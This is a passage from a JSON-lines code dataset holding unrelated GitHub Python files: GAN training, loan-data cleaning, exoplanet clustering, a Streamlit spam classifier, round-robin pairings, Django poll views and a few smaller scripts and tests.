torch.nn.BCELoss().to(device)\n\n# Initialize generator and discriminator\ngenerator = Generator(\n n_classes=args.n_classes, \n latent_dim=args.latent_dim,\n channels=args.channels,\n width=args.width\n ).to(device)\n\ndiscriminator = Discriminator(\n n_classes=args.n_classes, \n channels=args.channels,\n width=args.width\n ).to(device)\n\n# Initialize weights\ngenerator.apply(weights_init_normal)\ndiscriminator.apply(weights_init_normal)\n\n# Configure data loader\ntrain_transform = transforms.Compose([\n transforms.ToTensor(), \n transforms.Normalize([0.5,0.5,0.5], [0.5,0.5,0.5])\n ])\ndataloader = DataLoader(\n datasets.CIFAR10(\n args.data_dir,\n train=True,\n download=True,\n transform=train_transform\n ),\n batch_size=args.batch_size,\n shuffle=True,\n)\nprint(len(dataloader))\n\n# Optimizers\noptimizer_G = torch.optim.Adam(generator.parameters(), lr=args.lr, betas=(args.b1, args.b2))\noptimizer_D = torch.optim.Adam(discriminator.parameters(), lr=args.lr, betas=(args.b1, args.b2))\n\n# label preprocess\nonehot = torch.zeros(10, 10)\nonehot = onehot.scatter_(1, torch.LongTensor([0, 1, 2, 3, 4, 5, 6, 7, 8, 9]).view(10,1), 1).view(10, 10, 1, 1)\nfill = torch.zeros([10, 10, args.img_size, args.img_size])\nfor i in range(args.n_classes):\n fill[i, i, :, :] = 1\n\n# ----------\n# Training\n# ----------\n\nlogger.log('Standard training for {} epochs'.format(args.n_epochs))\n\nfor epoch in range(args.n_epochs):\n start = time.time()\n logger.log('======= Epoch {} ======='.format(epoch+1))\n\n d_loss_avg = 0\n g_loss_avg = 0\n \n for i, (imgs, labels) in enumerate(dataloader):\n imgs, labels = imgs.to(device), labels.to(device)\n\n batch_size = imgs.shape[0]\n\n # Adversarial ground truths\n valid = torch.ones((batch_size), requires_grad=False).to(device)\n fake = torch.zeros((batch_size), requires_grad=False).to(device)\n\n # -----------------\n # Train Generator\n # -----------------\n\n optimizer_G.zero_grad()\n\n # Sample noise and labels as generator input\n z = torch.randn((batch_size, args.latent_dim)).to(device).float()\n z = z.view(-1, args.latent_dim, 1, 1)\n gen_labels = np.random.randint(0, args.n_classes, batch_size)\n gen_labels_onehot = onehot[gen_labels].to(device)\n gen_labels_fill = fill[gen_labels].to(device)\n\n # Generate a batch of images\n gen_imgs = generator(z, gen_labels_onehot)\n\n # Loss measures generator's ability to fool the discriminator\n validity = discriminator(gen_imgs, gen_labels_fill).squeeze()\n g_loss = adversarial_loss(validity, valid)\n g_loss_avg += g_loss.item()\n\n g_loss.backward()\n optimizer_G.step()\n\n # ---------------------\n # Train Discriminator\n # ---------------------\n\n optimizer_D.zero_grad()\n\n labels_fill = fill[labels].to(device)\n # Loss for real images\n real_pred = discriminator(imgs, labels_fill).squeeze()\n d_real_loss = adversarial_loss(real_pred, valid) \n\n # Loss for fake images\n fake_pred = discriminator(gen_imgs.detach(), gen_labels_fill).squeeze()\n d_fake_loss = adversarial_loss(fake_pred, fake)\n\n # Total discriminator loss\n d_loss = (d_real_loss + d_fake_loss) / 2\n d_loss_avg += d_loss.item()\n\n d_loss.backward()\n optimizer_D.step()\n \n d_loss_avg /= len(dataloader)\n g_loss_avg /= len(dataloader)\n\n logger.log(\n \"[Epoch %d/%d] [D loss: %.3f] [G loss: %.3f]\"\n % (epoch + 1, args.n_epochs, d_loss_avg, g_loss_avg)\n )\n logger.log('Time taken: {}'.format(format_time(time.time()-start)))\n\n if (epoch + 1) % args.sample_interval == 0:\n sample_image_grid(generator, fixed_z, n_row=10, batches_done=epoch+1, img_dir=IMAGE_DIR)\n torch.save(generator.state_dict(), G_WEIGHTS)\n torch.save(discriminator.state_dict(), D_WEIGHTS)\n\nlogger.log('\\nTraining completed.')\nlogger.log('Script Completed.')","repo_name":"ML-GSAI/Understanding-GDA","sub_path":"main_train_CDCGAN.py","file_name":"main_train_CDCGAN.py","file_ext":"py","file_size_in_byte":7364,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"38"} +{"seq_id":"25722515264","text":"idnum = input(\"Give me an id number: \")\npost_x2 = idnum[0]+str(int(idnum[1])*2)+idnum[2]+str(int(idnum[3])*2)+idnum[4]+str(int(idnum[5])*2)+idnum[6]+str(int(idnum[7])*2)\nsum_of_id = str(sum(int(digit) for digit in str(post_x2)))\ncheck_digit = 0\nif int(sum_of_id[len(sum_of_id)-1]) >= 5:\n for x in range(0,5):\n if (int(sum_of_id)+x) % 10 == 0:\n check_digit = x\nelse:\n for x in range(0,4):\n if (int(sum_of_id)-x) % 10 == 0:\n check_digit = x\n#print(check_digit)\n#print(idnum[8])\nprint(int(check_digit) == int(idnum[8]))","repo_name":"s1522711/neta-stuff","sub_path":"idcheck.py","file_name":"idcheck.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"29537758497","text":"get_ipython().magic('matplotlib inline')\nimport pickle\nget_ipython().magic('run helper_functions.py')\npd.options.display.max_columns = 1000\nplt.rcParams[\"figure.figsize\"] = (15,10)\nfrom datetime import datetime\n# from sklearn.model_selection import train_test_split\nfrom sklearn.ensemble import RandomForestClassifier\n\ndf = unpickle_object(\"non_current_df.pkl\") #loans that are 'complete'\n\ndf.shape\n\ndf['loan_status'].unique()\n\nmask = df['loan_status'] != \"Fully Paid\"\nrows_to_change = df[mask]\nrows_to_change.loc[:, 'loan_status'] = 'Late'\ndf.update(rows_to_change)\n\ndf['loan_status'].unique() #sweet!\n\ndf.shape # no dimensionality lost\n\nplot_corr_matrix(df)\n\nno_desc = []\nfor column in df.columns:\n try:\n print(column+\":\",lookup_description(column),\" DataType:\", df[column].dtype)\n print()\n except KeyError:\n no_desc.append(column)\n\ncolumns_to_drop = [\"id\", \"member_id\", \"emp_title\",\"desc\",\"title\",\"out_prncp\",\"out_prncp_inv\",\"total_pymnt\",\"total_pymnt_inv\", \"total_rec_prncp\", \"total_rec_int\", \"total_rec_late_fee\", \"recoveries\", \"collection_recovery_fee\",\"last_pymnt_d\", \"last_pymnt_amnt\",\"next_pymnt_d\", \"last_credit_pull_d\", \"collections_12_mths_ex_med\",\"mths_since_last_major_derog\", \"all_util\", ]\n\n# df.loc[:, [\"loan_amnt\",\"funded_amnt\",\"out_prncp\",\"out_prncp_inv\",\"total_pymnt\",\"total_pymnt_inv\",\"total_rec_prncp\",\"last_credit_pull_d\"]]\n\nno_desc\n\ndf['verification_status_joint'].unique()\n\ndf['total_rev_hi_lim'].unique()\n\ndf['verification_status_joint'].dtype\n\ndf['total_rev_hi_lim'].dtype\n\ndf.drop(columns_to_drop, axis=1, inplace=True)\n\ndf.shape #just what we expected\n\ndf[\"policy_code\"] = df[\"policy_code\"].astype('object')\n\ndf['pct_tl_nvr_dlq'] = df['pct_tl_nvr_dlq'].apply(lambda x: x/100)\ndf['percent_bc_gt_75'] = df['percent_bc_gt_75'].apply(lambda x: x/100)\n\nobject_columns = df.select_dtypes(include=['object']).columns\n\nfor c in object_columns:\n df.loc[df[df[c].isnull()].index, c] = \"missing\"\n\nobj_df = df.select_dtypes(include=['object'])\n\nobj_df_cols = obj_df.columns\n\nfor col in obj_df_cols:\n df[col] = df[col].astype(\"category\")\n \ndf.dtypes.unique() #This is what we wanted!\n\ndf.shape\n\ndf.head()\n\nunique_val_dict = {}\nfor col in df.columns:\n if col not in unique_val_dict:\n unique_val_dict[col] = df[col].unique()\n\nunique_val_dict #will use this later when making flask app.\n\ncategory_columns = df.select_dtypes(include=['category']).columns\ndf = pd.get_dummies(df, columns=category_columns, drop_first=True)\n\ndf.shape\n\nfloat_columns = df.select_dtypes(include=['float64']).columns\n\nfor c in float_columns:\n df.loc[df[df[c].isnull()].index, c] = np.nan\n\npickle_object(unique_val_dict, \"unique_values_for_columns\")\n\npickle_object(df, \"dummied_dataset\")\n\ndf = unpickle_object(\"dummied_dataset.pkl\")\n\ndf.head()\n\n\n\n","repo_name":"mixmikmic/GH_code_analysis","sub_path":"python/Cleaning_and_dummies.py","file_name":"Cleaning_and_dummies.py","file_ext":"py","file_size_in_byte":2784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"7727814069","text":"import asyncio\nfrom datetime import timedelta\nfrom sanic.log import logger\n\nfrom saweibot.services.bot import get_bot\nfrom saweibot.data.entities import PeonChatConfig\nfrom saweibot.data.models import ChatBehaviorRecordModel, ChatWatchUserModel\nfrom saweibot.data.wrappers import BehaviorRecordWrapper\nfrom saweibot.data.wrappers.chat_config import ChatConfigWrapper\nfrom saweibot.data.wrappers.watch_user import ChatWatcherUserWrapper\nfrom saweibot.meta import SERVICE_CODE\n\nfrom saweibot.services.scheduler.struct import AppScheduler\n\nfrom ..operate import PermissionLevel, set_media_permission\n\ndef register_task(scheduler: AppScheduler):\n\n @scheduler.register_task(\"check_watchlist\", period=timedelta(minutes=5))\n async def check_watchlist_task():\n # get all watch chat.\n chats = await PeonChatConfig.filter(status=\"ok\")\n bot = get_bot()\n session = await bot.get_session()\n try:\n for chat in chats:\n # traversal all watch group.\n behavior_wrapper = BehaviorRecordWrapper(SERVICE_CODE, chat.chat_id)\n config_wrapper = ChatConfigWrapper(SERVICE_CODE, chat.chat_id)\n watch_wrapper = ChatWatcherUserWrapper(SERVICE_CODE, chat.chat_id)\n\n # get chatConfig model & watch member id.\n config = await config_wrapper.get_model()\n watch_member_ids = await watch_wrapper.keys()\n\n async def update_member_status(member_id: str,\n data: ChatWatchUserModel, \n record: ChatBehaviorRecordModel):\n # set redis & database.\n await watch_wrapper.set(member_id, data)\n await watch_wrapper.save_db(member_id, data)\n await behavior_wrapper.save_db(member_id, record)\n # post telegram api.\n if member_id in config.adminstrators:\n return\n\n await set_media_permission(bot, chat.chat_id, member_id, PermissionLevel.ALLOW)\n logger.info(f\"set [{record.full_name}]'s member permission\")\n\n\n task_list = []\n _range = 10\n freq = len(watch_member_ids) // _range\n\n # process member\n for num in range(0, freq + 1):\n task_list = []\n start = num * _range\n end = (num + 1) * _range\n\n for member_id in watch_member_ids[start:end]:\n # get member status.\n watch_member = await watch_wrapper.get(member_id)\n\n # Ignore members with a status of OK \n if watch_member.status == \"ok\":\n continue\n \n # get member's behavior record\n record = await behavior_wrapper.get(member_id)\n\n if record.msg_count > config.senior_count:\n watch_member.status = \"ok\"\n task_list.append(update_member_status(member_id, watch_member, record))\n\n if task_list:\n await asyncio.gather(*task_list)\n \n # task finished, remove watchlist.\n logger.debug(\"remove proxy.\")\n await watch_wrapper.delete_proxy()\n except Exception as _e:\n logger.error(_e)\n finally:\n await session.close()","repo_name":"saweima12/peon-tgbot","sub_path":"saweibot/bussiness/task/check_watchlist.py","file_name":"check_watchlist.py","file_ext":"py","file_size_in_byte":3593,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"70665026351","text":"# coding=utf-8\nimport importlib\n# import unittest\n\n\nfrom SRC import settings\n\n\n\nclass BaseScene():\n\t'''\n\t场景类\n\t'''\n\n\tdef __init__(self, testScene, logger, index):\n\t\tself.testCaseList = testScene.testCaseList # 测试用例列表\n\t\tself.testClassList = None # 测试用例对象列表\n\t\tself.logger = logger # 日志对象\n\t\tself.index = index # 场景编号\n\t\tself.sceneId = self.index + 1 # 场景ID\n\n\tdef run(self):\n\t\tpass\n\n\tdef getModule(self,testCase):\n\t\ttestCaseDir = settings.TESTCASE['testCaseDir']\n\t\tp = testCase\n\t\tp = p[1:] if p[:1] == '/' else p\n\t\tif not p.startswith(testCaseDir):\n\t\t\tp = testCaseDir + p\n\t\tpath = p\n\t\tpath = path.replace('/', '.')\n\t\tpath = path[1:] if path[:1] == '.' else path\n\t\treturn path\n\n","repo_name":"yaolihui129/easyTest","sub_path":"SRC/scene/baseScene.py","file_name":"baseScene.py","file_ext":"py","file_size_in_byte":730,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"29008794206","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Oct 14 14:41:15 2020\n\n@author: augusto_carballido\n\"\"\"\n\n#%matplotlib inline\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns; sns.set()\nimport numpy as np\nfrom sklearn.metrics import silhouette_samples, silhouette_score\n\n\n\n### -------- Read exoplanet file-------------\nsmall_pdf = pd.read_csv('/Users/augusto_carballido/Desktop/AstrobioML/NEA.csv') ##NEA_star.csv for more stellar parameters\n\n## ----------Uncomment to select planets that orbit stars within a certain mass and/or effective\n## temperature range--------------------\n# df1 = small_pdf[(small_pdf['smass'] > 0.95) & (small_pdf['smass'] < 1.05)]# & \n# #(small_pdf['steff'] > 5500) & (small_pdf['steff'] < 6500)]\n\n# small_pdf = df1.drop(['smass', 'steff'], axis = 1)\n### ---------Build dataframe of solar system planets-----------\nMsol = [0.055, 0.815, 1, 0.107, 317.8, 95.2, 14.5, 17.1]\nRsol = [0.38, 0.95, 1, 0.53, 11.21, 9.45, 4.01, 3.88]\nNamesol = ['Mercury', 'Venus', 'Earth', 'Mars', 'Jupiter', 'Saturn', 'Uranus', 'Neptune']\n \nsolar_df = pd.DataFrame({'pname': Namesol, 'pmass': Msol, 'pradius': Rsol})\n\n### ---------Concatenate small_pdf and solar_df-----------------\nsmall_pdf = pd.concat([small_pdf, solar_df], ignore_index = True)\n\n\n## -----------Standardize --------\nsmall_pdf_st = (small_pdf[['pmass','pradius']] - small_pdf.mean()) / small_pdf.std()\n#small_pdf_norm = (small_pdf - small_pdf.min()) / (small_pdf.max() - small_pdf.min()) \n \ndef plot_dendrogram(args):\n from scipy.cluster.hierarchy import linkage, dendrogram\n\n den_clusters = linkage(small_pdf_st.values, method = args[0], metric = 'euclidean')\n dendrogram(den_clusters, truncate_mode='lastp', p=20, show_contracted=True,\n show_leaf_counts=True, leaf_rotation=90)#, labels = small_pdf['pl_name'].tolist())\n plt.xlabel('Example index or (cluster size)')\n plt.ylabel('distance')\n plt.show()\n \n## ------For DBSCAN-------\ndef plot_4dist():\n from sklearn.neighbors import NearestNeighbors\n from scipy.signal import find_peaks\n \n neigh = NearestNeighbors(n_neighbors = 5)\n nbrs = neigh.fit(small_pdf_st.to_numpy())\n dist, ind = nbrs.kneighbors(small_pdf_st.to_numpy())\n dist = -np.sort(-dist, axis = 0)\n dist = dist[:,1]\n \n plt.plot(dist)\n plt.xlabel('Sample point label')\n plt.ylabel('Distance to 4th nearest neighbor')\n plt.show()\n \n d2dist = np.gradient(np.gradient(dist))\n fpd = find_peaks(abs(d2dist))\n best_eps = dist[fpd[0][1]]\n \n return best_eps\n\ndef plot_clusters_and_silhouette(labs, method):\n from matplotlib import cm\n \n cluster_labels = np.unique(labs)\n n_clusters = cluster_labels.shape[0]\n sample_silhouette_values = silhouette_samples(small_pdf_st, labs, metric='euclidean')\n yticks = []\n \n ## -----Plot clusters------\n fig, (ax1, ax2) = plt.subplots(1, 2, figsize = (12,5))\n #fig.set_size_inches(9, 7)\n \n clust_colors = cm.jet(labs.astype(float) / n_clusters)\n \n ax1.set_xscale('log')\n ax1.set_yscale('log')\n ax1.scatter(small_pdf['pmass'], small_pdf['pradius'], c = clust_colors, s = 50, alpha = 0.5)\n \n ax1.set_xlabel('Planet mass ($M_{\\oplus}$)' , fontsize = 15)\n ax1.set_ylabel('Planet radius ($R_{\\oplus}$)', fontsize = 15)\n \n plt.setp(ax1.get_xticklabels(), fontsize = 14)\n plt.setp(ax1.get_yticklabels(), fontsize = 14)\n \n \n \n ## -------Silhouette plot-------------\n silhouette_avg = silhouette_score(small_pdf_st, labs)\n \n y_lower = 10\n for i in range(n_clusters):\n # Aggregate the silhouette scores for samples belonging to\n # cluster i, and sort them\n ith_cluster_silhouette_values = sample_silhouette_values[labs == i]\n\n ith_cluster_silhouette_values.sort()\n\n size_cluster_i = ith_cluster_silhouette_values.shape[0]\n y_upper = y_lower + size_cluster_i\n\n color = cm.jet(float(i) / n_clusters)\n ax2.fill_betweenx(np.arange(y_lower, y_upper),\n 0, ith_cluster_silhouette_values,\n facecolor = color, edgecolor=color, alpha=0.7)\n\n ## Label the silhouette plots with their cluster numbers at the middle\n #ax2.text(-0.1, y_lower + 0.5 * size_cluster_i, str(i))\n\n # Compute the new y_lower for next plot\n y_lower = y_upper + 10 # 10 for the 0 samples\n \n # Plot vertical line for average silhouette score of all the values\n ax2.axvline(x=silhouette_avg, color=\"red\", linestyle=\"--\")\n \n plt.yticks(yticks, cluster_labels + 1)\n ax2.set_xlabel('Silhouette coefficient', fontsize = 15)\n ax2.set_xlim([-1.0, 1.0])\n plt.setp(ax2.get_xticklabels(), fontsize = 14)\n plt.setp(ax2.get_yticklabels(), fontsize = 14)\n \n \n plt.suptitle(method, fontsize = 16)\n plt.show()\n\n\ndef clustering(method, parameters = None): \n \n## --------------------------K - MEANS------------------------------\n if method == 'K-means':\n from sklearn.cluster import KMeans\n \n cl = KMeans(n_clusters = parameters, random_state=10).fit_predict(small_pdf_st)\n plot_clusters_and_silhouette(cl, method)\n\n\n ## --------------------------GAUSSIAN MIXTURES--------------------------- \n if method == 'Gaussian mixtures': \n from sklearn.mixture import GaussianMixture\n\n cl = GaussianMixture(n_components = parameters, covariance_type='full').fit_predict(small_pdf_st)\n plot_clusters_and_silhouette(cl, method)\n \n \n ##---------------------------HIERARCHICHAL CLUSTERING --------------------\n if method == 'Hierarchichal agglomerative clustering':\n from sklearn.cluster import AgglomerativeClustering\n\n cl = AgglomerativeClustering(n_clusters = parameters[1], \n linkage=parameters[0], affinity = 'euclidean' ).fit_predict(small_pdf_st)\n plot_clusters_and_silhouette(cl, method)\n\n\n ##----------------------------AFFINITY PROPAGATION (seems to work better for few points)-------------------------\n if method == 'Affinity propagation':\n from sklearn.cluster import AffinityPropagation\n\n ap = AffinityPropagation(random_state=1, preference = parameters).fit_predict(small_pdf_st)\n plot_clusters_and_silhouette(ap, method)\n\n ##----------------------------MEAN SHIFT (smaller bandwidth ==> more clusters) -----------------------\n if method == 'Mean shift':\n from sklearn.cluster import MeanShift, estimate_bandwidth\n\n bw = estimate_bandwidth(small_pdf_st, quantile = 0.2)\n print('bandwith = ',bw)\n\n ms = MeanShift(bandwidth = parameters).fit_predict(small_pdf_st) ## bandwitdh is the \"thickness\" of the gaussian(s) describing the distributions of the data points\n plot_clusters_and_silhouette(ms, method)\n \n \n##-----------------------SPECTRAL CLUSTERING----------------------------------\n if method == 'Spectral clustering':\n from sklearn.cluster import SpectralClustering\n\n cl = SpectralClustering(n_clusters = parameters, affinity='nearest_neighbors').fit_predict(small_pdf_st)\n plot_clusters_and_silhouette(cl, method)\n\n##---------------------- DBSCAN -------------------\n if method == 'DBSCAN':\n from sklearn.cluster import DBSCAN\n \n cl = DBSCAN(eps = parameters[0], min_samples = parameters[1]).fit_predict(small_pdf_st)\n plot_clusters_and_silhouette(cl, method)\n \n\n\n\n","repo_name":"AstroAugusto/PlanetMR","sub_path":"planetMR/planetMR_clustering.py","file_name":"planetMR_clustering.py","file_ext":"py","file_size_in_byte":7624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"36023232664","text":"import streamlit as st\nimport numpy as np\nimport pandas as pd\nfrom sklearn.svm import SVC\nimport re\nimport string\nfrom sklearn.feature_extraction.text import TfidfVectorizer,CountVectorizer\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import classification_report, confusion_matrix, accuracy_score, recall_score, precision_score, f1_score, roc_auc_score\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.metrics import plot_confusion_matrix, plot_roc_curve, plot_precision_recall_curve\nimport matplotlib.pyplot as plt\nle = LabelEncoder()\n# from gsheetsdb import connect\n\n# # Create a connection object.\n# conn = connect()\n\n# @st.cache(ttl=600)\n# def run_query(query):\n# rows = conn.execute(query, headers=1)\n# rows = rows.fetchall()\n# return rows\n\n# sheet_url = st.secrets[\"public_gsheets_url\"]\n# rows = run_query(f'SELECT * FROM \"{sheet_url}\"')\n\n# # Print results.\n# for row in rows:\n# st.write(f\"{row.name} has a :{row.pet}:\")\n\n\n#Style \nst.markdown(\"\"\"\n\n\"\"\",unsafe_allow_html=True)\n\npilih_menu = st.sidebar.selectbox(\"Navigasi\" ,('Halaman Utama','Tentang Aplikasi'))\n\ndf = pd.read_csv(\"data.csv\")\ndf['Value'] = le.fit_transform(df['Value'])\nX = df['Komentar']\ny = df['Value']\n\n# st.write('Jumlah baris dan kolom', X.shape)\n# st.write('Jumlah kelas: ',len(np.unique(y)))\n\ntfidf = TfidfVectorizer(max_features=1000, min_df=5, max_df=0.7,ngram_range=(1,3))\ntext_tf = tfidf.fit_transform(X.astype('U'))\nx_train,x_test,y_train,y_test = train_test_split(text_tf,y,test_size=0.2,random_state=42)\n# st.markdown(y_test.shape)\ntext_classifier_linear = SVC(kernel='linear')\nmodel = text_classifier_linear.fit(x_train, y_train)\npredictions_svm = text_classifier_linear.predict(x_test)\n\ndef transform(komentar):\n komentar = komentar.lower() # mengubah menjadi huruf kecil\n komentar = komentar.strip() # menghilangkan suffix dan prefix yang kosong\n komentar = re.sub(r\"\\d+\", \"\",komentar) # menghilangkan angka\n komentar = komentar.encode('ascii','replace').decode('ascii') #menghilangkan Non ascii\n komentar = komentar.translate(str.maketrans(\"\",\"\",string.punctuation)) #menghilangkan simbol\n komentar = re.sub(\"\\s+\", \" \", komentar) #menghilangkan beberapa spasi kosong\n komentar = re.sub(r\"\\b[a-zA-Z]\\b\", \" \",komentar) #menghilangkan single char\n komentar = komentar.replace('https\\s+',\" \")\n tf = tfidf.transform([komentar])\n return tf\n\n\n\n\nif pilih_menu == 'Halaman Utama':\n st.title(\"Aplikasi Deteksi Komentar Spam Youtube dengan Metode SVM \")\n text_input = st.text_input('Input komentar','Input disini')\n input_button = st.button('Prediksi')\n if text_input == '':\n st.warning('Belum input komentar!')\n else:\n if input_button:\n tf = transform(text_input)\n pred_text = model.predict(tf)\n pred_text = le.inverse_transform(pred_text)\n text = ' '.join(pred_text)\n st.write('Komentar',text_input,'termasuk kategori: ', f'**{text}**' )\n akurasi = round(accuracy_score(y_test,predictions_svm)*100,2)\n st.markdown(f'''Hasil akurasi SVM memprediksi input: **{akurasi}%** ''' )\n\n \nelse: \n st.write(\"ini halaman Tentang Aplikasi\")\n \n\n\n \n\n\n","repo_name":"ray-code2/Spam-detection-bahasa-youtube","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3278,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"16373745753","text":"from input_checker import input_number_of_players\r\n\r\n\r\ndef pairing_every_round(number_of_round, players_list):\r\n \"\"\"This makes the pairing of colours in a list of players. It needs a moved list to make different pairing \"\"\"\r\n number_of_players = len(players_list)\r\n pairing_list = \"\"\r\n if number_of_round % 2 == 1:\r\n for table in range(int(number_of_players / 2)):\r\n board_table = str(table + 1) + \". \" + players_list[table] + \" - \" + players_list[\r\n number_of_players - 1 - table] + \"\\t\"\r\n pairing_list += board_table\r\n else:\r\n board_table = \"1. \" + players_list[number_of_players - 1] + \" - \" + players_list[0] + \"\\t\"\r\n pairing_list += board_table\r\n for table in range(1, int(number_of_players / 2)):\r\n board_table = str(table + 1) + \". \" + players_list[table] + \" - \" + players_list[\r\n number_of_players - 1 - table] + \"\\t\"\r\n pairing_list += board_table\r\n\r\n return pairing_list\r\n\r\n\r\ndef create_anonymous_list(number_of_players):\r\n # number_of_players = input_number_of_players()\r\n if number_of_players % 2 == 1:\r\n number_of_players += 1\r\n return [str(x) for x in range(1, number_of_players + 1)]\r\n\r\n\r\ndef create_moved_list(list_of_players):\r\n number_of_players = len(list_of_players)\r\n half_list_len = int(number_of_players/2)\r\n\r\n last_seat = list_of_players.pop(len(list_of_players) - 1)\r\n\r\n list_of_players.extend(x for x in list_of_players[0:half_list_len])\r\n list_of_players[0:half_list_len-1] = list_of_players[half_list_len:number_of_players-1]\r\n\r\n del list_of_players[half_list_len-1:number_of_players-1]\r\n\r\n list_of_players.append(last_seat)\r\n\r\n return list_of_players\r\n\r\n\r\ndef create_all_pairings(player_list):\r\n pairings = \"\"\r\n round1_pairing = \"Rd 1: \" + pairing_every_round(1, player_list) + \"\\n\"\r\n pairings += round1_pairing\r\n for gyros in range(2, len(player_list)):\r\n player_list = create_moved_list(player_list)\r\n round_pairing = \"Rd \" + str(gyros) + \": \" + pairing_every_round(gyros, player_list) + \"\\n\"\r\n pairings += round_pairing\r\n return pairings\r\n\r\n\r\ndef main():\r\n tables = open(\"berger_tables.txt\", \"w\")\r\n for players_number in range(3, 101, 2):\r\n players_list = create_anonymous_list(players_number)\r\n players_table = \"\\t\\tTable for \" + str(players_number) + \", \" + str(players_number+1) + \"players\\n\"\r\n warning = \"If \" + str(players_number) + \" players, then \" + str(players_number+1) + \" represents bye.\\n\"\r\n\r\n tables.write(players_table)\r\n tables.write(warning)\r\n tables.write(create_all_pairings(players_list))\r\n tables.write(\"\\n\\n\")\r\n tables.close()\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"karpidis/elo_calculator","sub_path":"round_robin.py","file_name":"round_robin.py","file_ext":"py","file_size_in_byte":2782,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"36593854300","text":"from django.shortcuts import render, get_object_or_404\nfrom django.http import HttpResponseRedirect # , Http404, HttpResponse\nfrom .models import Question, Choice\nfrom django.core.urlresolvers import reverse\nfrom django.contrib.auth.decorators import login_required\n# from django.template import RequestContext, loader\n\n\n# Each method here is a view. It does some processing and returns the output\n# in some browser recognisable format.\n\n\n\"\"\"\nThis is the traditional way you define index i.e,\nan html page with some context(variables).\n\ndef index(request):\n latest_question_list = Question.objects.order_by('-pub_date')[:5]\n # Get the page to be displayed\n template = loader.get_template('polls/index.html')\n # Specify context. i.e, the variables to be used in the rendered page.\n context = RequestContext(request, {\n 'latest_question_list': latest_question_list,\n })\n return HttpResponse(template.render(context))\n\nHowever, Django provides a shortcut method as defined below.\n\"\"\"\n\n\n# request is compulsary. It carries data coming in and also some properties\ndef index(request):\n # Retrieve Question Objects and order by pub_date and then select first 5.\n # You may omit the ordering by using Question.objects.all()[:5].\n # You may get all objects by simply using Question.objects.all().\n latest_question_list = Question.objects.order_by('-pub_date')[:5]\n\n context = {'latest_question_list': latest_question_list,\n 'user': request.user} # variables to pass to html\n # respond and send polls/index.html page with the above context.\n # context is basically the set of variables that are accessed in\n # Django template. These variables are bundled in a dictionary.\n\n return render(request, 'polls/index.html', context)\n # Here request contains request info such as which host request came from,\n # username of requesting client etc hence helps us to respond to only that\n # host that sent the request.\n # Second arguement is the template to render.\n # Context is set of variable to pass to template.\n\n\"\"\"\nThis is the traditional way you raise a 404(doesnt exist) Error.\n\ndef detail(request, question_id):\n try:\n question = Question.objects.get(pk=question_id)\n except Question.DoesNotExist:\n # raise keyword is used to manually raise an exception.\n raise Http404(\"Question does not exist\")\n return render(request, 'polls/detail.html', {'question': question})\n\nHowever, Django provides a shortcut mechanism as defined in 'detail' below.\n\"\"\"\n\n\n@login_required # Ensures that user is logged in\n# question_id is a parameter collected from URL\ndef detail(request, question_id):\n question = get_object_or_404(Question, pk=question_id)\n # get object of Question where PrimaryKey=question_id\n # if it's not present raise 404 error\n return render(request, 'polls/detail.html', {'question': question})\n\n\n@login_required\ndef results(request, question_id):\n question = get_object_or_404(Question, pk=question_id)\n return render(request, 'polls/results.html', {'question': question,\n 'user': request.user})\n\n\n@login_required\ndef vote(request, question_id):\n p = get_object_or_404(Question, pk=question_id)\n try:\n selected_choice = p.choice_set.get(pk=request.POST['choice'])\n except (KeyError, Choice.DoesNotExist):\n # Redisplay the question voting form.\n context = {\n 'question': p,\n 'error_message': \"You didn't select a choice.\",\n 'user': request.user\n }\n return render(request, 'polls/detail.html', context)\n else:\n selected_choice.votes += 1\n selected_choice.save()\n # Always return an HttpResponseRedirect after successfully dealing\n # with POST data. This prevents data from being posted twice if a\n # user hits the Back button.\n return HttpResponseRedirect(reverse('polls:results', args=(p.id,)))\n\n\"\"\"\ntry...except...else...finally\n -> try block contains a code that might raise an exception\n -> except block is executed if an exception occurs in the try block\n except block is used to catch exception.\n 1. To catch all exceptions (generic catch) use :\n except:\n 2. To catch a specific exception use:\n except KeyError:\n where KeyError is a type of exception\n 3. To catch multiple exceptions and handle them in the same way use:\n except (KeyError, ZeroDivisionError):\n where KeyError and ZeroDivisionError are types of Exceptions.\n -> else block contains a code that follows the try block. i.e,\n the remaining code. else block is not executed if an exception occurs.\n -> finally block contains code that must be executed irrespective of\n occurance of an exception. This block usually contains cleanup code.\n\"\"\"\n","repo_name":"saqlainsyed007/Django-Learning-1.8","sub_path":"mysite/polls/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4904,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"16787674976","text":"from types import SimpleNamespace\nfrom unittest import TestCase\n\nimport mock\n\nfrom client.engine.features.game_list.events import UpdateGameListEvent\nfrom client.engine.features.user_input.events import UserTypedEvent\nfrom client.engine.visual_regression.visual_regression import VisualRegression\nfrom client.game.screens.game_list.game_list import GameList\n\n\nclass TestGameList(TestCase):\n def setUp(self):\n self.client_state = mock.Mock()\n self.client_state.clock.get.return_value = 0 # Initial time is 0\n self.game_list = GameList(self.client_state)\n\n @mock.patch(\"client.game.screens.game_list.game_list.RequestJoiningAGame\")\n def test_game_list(self, m_request_joining_game):\n # Empty screen\n VisualRegression.assert_matches_snapshot(\n self.game_list,\n \"./client/game/screens/game_list/tests/screenshots/game_list_empty.png\",\n )\n\n 